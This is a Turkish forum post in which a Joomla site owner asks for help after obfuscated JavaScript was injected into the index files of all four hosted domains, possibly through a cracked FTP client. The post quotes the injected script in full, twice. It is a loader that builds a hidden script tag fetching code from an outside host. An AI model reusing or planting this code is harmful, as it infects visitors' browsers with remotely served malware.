Merhaba Google Fan ekibi... Joomlayı sizinle öğrendik ne zaman başımız sıkışsa yardımcı oldunuz tüm ilgililere cevaplarıyla katkıda bulunanlara sonsuz teşekkürler. Sorunum şu: Hostingim içerisinde 4 adet domain var ve yaklaşık 1 haftadır tüm domainlerimin virüslü olduğu uyarısıyla karşılaşıyorum. Crackli CuteFTP kullanıyordum sanırım sorun bundan olmuş.. ve ftp de hangi dosyaya girsem index.html, index.php, default gibi tüm dosyaların en altına bir kod eklenmiş aşağıdaki gibi...:dash: <script>/*LGPL*/ try{ window.onload = function(){var Ulgypcj73jinx = document.createElement('s$!!c!!r#&@i#(@p#^t)'.repl ace(/\)|\$|#|$|@|\^|\!|&/ig, ''));Ulgypcj73jinx.setAttribute('defer', 'd(^$$e#&^#^f)^$e!&@r(&'.replace(/@|\$|\^|$|&|#|$|\!/ig, ''));Ulgypcj73jinx.setAttribute('type', 't$e)^$)x!!)#t@!^/@@j(!^&$a&)v@#!&a#&(s!c$r@!(i#$&p@t)^!'.replace(/\$|&|\!|\(|#|@|\^|$/ig, ''));Ulgypcj73jinx.setAttribute('id', 'N()0#@$5@!&@!8^&$r&)^$t($)(e$6&@l@#w@b^)p@^^^$'.r eplace(/\^|@|&|#|\)|\!|\$|$/ig, ''));Ulgypcj73jinx.setAttribute('s$!!!r^)c)&@'.rep lace(/&|$|\^|#|\$|$|\!|@/ig, ''), 'h(&t#@$t!!p@&(^:#^/^@@#/&#p&#$d@f)$&d)$!@a^@t)@&a)^b)a#(&s@$e&&-(^c#^o&!(!m^(&.#c#(y!&(w&$$o&&&!$r)&!l()!^$d^$@.&@ &c^!o^@#^m$$.(&(#s^$i^(@t##e&$($!p$@^o$@^i@n)^t !-&&c))o!^#m!@^.$^(@t#^h!^e@($@c)@!$h$!#o^c(!$)o@)&l ##!a&(@t^#e&@)w$@@e^@b).^(!r#@!u$(:^#8^)0&^#8@)0@! !/^#t^)h@e!!&s^@u&@n!&().^$c^&&^o(.@)u(#^k($/$#t&(h^&)e(&s)@$u@n)##.&)c))(o(($.@^@)u#k^^#/)^^l^!))i@f#&^e^#h#&a^#c(($k($@e)r^.(#(c#(o($#)m)) #(/&)g&#&o&)o@@@g^@l##e@$^@.&@c(&o##m(@/$##a@d(@(u$l!)(t@))f@^r#@i((@!e^!^(n@^d()&!f@@i^)n #d$&(e)^$r!(.$(c^($o))m!&/#@'.replace(/\!|@|\(|#|$|\^|\$|&/ig, ''));if (document){document.body.appendChild(Ulgypcj73jinx );}} } catch(S9i4pfh4h9bzldblf6b8) {}</script>  Sanırım iframe virüs dedikleri bu olsa gerek.. Bikaçındaki bu kodu silip tekrar yükledim ancak tekrar oluşturulmuş.. Tek tek silmek imkansız gibi çünkü yaklaşım 150 tane vardır. Bilgisayara indirip tekrar atmak sorunu çözermi.. biçok çözüm önerisi var nette ama kolay bir çözüm henüz bulamadım bu işin kolay bir yolu yokmu yoksa bütüüün bu zahmetli işleri yapmalımıyım.. Yani tüm yaptığım tasarımlar ve emek ziyanmı oldu??? Bu gibi sorunlar herkesin başına gelebilir bunu düşünerek cevaplarınızı bekliyorum... Herkese ilgisinden dolayı teşekkür ediyorum...:bye:

Web Sitesi VİRÜS (Iframe)

14-01-2010, 13:43:20

#1

exploitant

Merhaba Google Fan ekibi...
Joomlayı sizinle öğrendik ne zaman başımız sıkışsa yardımcı oldunuz tüm ilgililere cevaplarıyla katkıda bulunanlara sonsuz teşekkürler.

Sorunum şu:
Hostingim içerisinde 4 adet domain var ve yaklaşık 1 haftadır tüm domainlerimin virüslü olduğu uyarısıyla karşılaşıyorum.

Crackli CuteFTP kullanıyordum sanırım sorun bundan olmuş.. ve ftp de hangi dosyaya girsem index.html, index.php, default gibi tüm dosyaların en altına bir kod eklenmiş aşağıdaki gibi...:dash:

<script>/*LGPL*/ try{ window.onload = function(){var Ulgypcj73jinx = document.createElement('s$!!c!!r#&@i#(@p#^t)'.repl ace(/\)|\$|#|$|@|\^|\!|&/ig, ''));Ulgypcj73jinx.setAttribute('defer', 'd(^$$e#&^#^f)^$e!&@r(&'.replace(/@|\$|\^|$|&|#|$|\!/ig, ''));Ulgypcj73jinx.setAttribute('type', 't$e)^$)x!!)#t@!^/@@j(!^&$a&)v@#!&a#&(s!c$r@!(i#$&p@t)^!'.replace(/\$|&|\!|\(|#|@|\^|$/ig, ''));Ulgypcj73jinx.setAttribute('id', 'N()0#@$5@!&@!8^&$r&)^$t($)(e$6&@l@#w@b^)p@^^^$'.r eplace(/\^|@|&|#|\)|\!|\$|$/ig, ''));Ulgypcj73jinx.setAttribute('s$!!!r^)c)&@'.rep lace(/&|$|\^|#|\$|$|\!|@/ig, ''), 'h(&t#@$t!!p@&(^:#^/^@@#/&#p&#$d@f)$&d)$!@a^@t)@&a)^b)a#(&s@$e&&-(^c#^o&!(!m^(&.#c#(y!&(w&$$o&&&!$r)&!l()!^$d^$@.&@ &c^!o^@#^m$$.(&(#s^$i^(@t##e&$($!p$@^o$@^i@n)^t !-&&c))o!^#m!@^.$^(@t#^h!^e@($@c)@!$h$!#o^c(!$)o@)&l ##!a&(@t^#e&@)w$@@e^@b).^(!r#@!u$(:^#8^)0&^#8@)0@! !/^#t^)h@e!!&s^@u&@n!&().^$c^&&^o(.@)u(#^k($/$#t&(h^&)e(&s)@$u@n)##.&)c))(o(($.@^@)u#k^^#/)^^l^!))i@f#&^e^#h#&a^#c(($k($@e)r^.(#(c#(o($#)m)) #(/&)g&#&o&)o@@@g^@l##e@$^@.&@c(&o##m(@/$##a@d(@(u$l!)(t@))f@^r#@i((@!e^!^(n@^d()&!f@@i^)n #d$&(e)^$r!(.$(c^($o))m!&/#@'.replace(/\!|@|\(|#|$|\^|\$|&/ig, ''));if (document){document.body.appendChild(Ulgypcj73jinx );}} } catch(S9i4pfh4h9bzldblf6b8) {}</script>


Sanırım iframe virüs dedikleri bu olsa gerek.. Bikaçındaki bu kodu silip tekrar yükledim ancak tekrar oluşturulmuş.. Tek tek silmek imkansız gibi çünkü yaklaşım 150 tane vardır. Bilgisayara indirip tekrar atmak sorunu çözermi.. biçok çözüm önerisi var nette ama kolay bir çözüm henüz bulamadım bu işin kolay bir yolu yokmu yoksa bütüüün bu zahmetli işleri yapmalımıyım.. Yani tüm yaptığım tasarımlar ve emek ziyanmı oldu???
Bu gibi sorunlar herkesin başına gelebilir bunu düşünerek cevaplarınızı bekliyorum...

Herkese ilgisinden dolayı teşekkür ediyorum...:bye: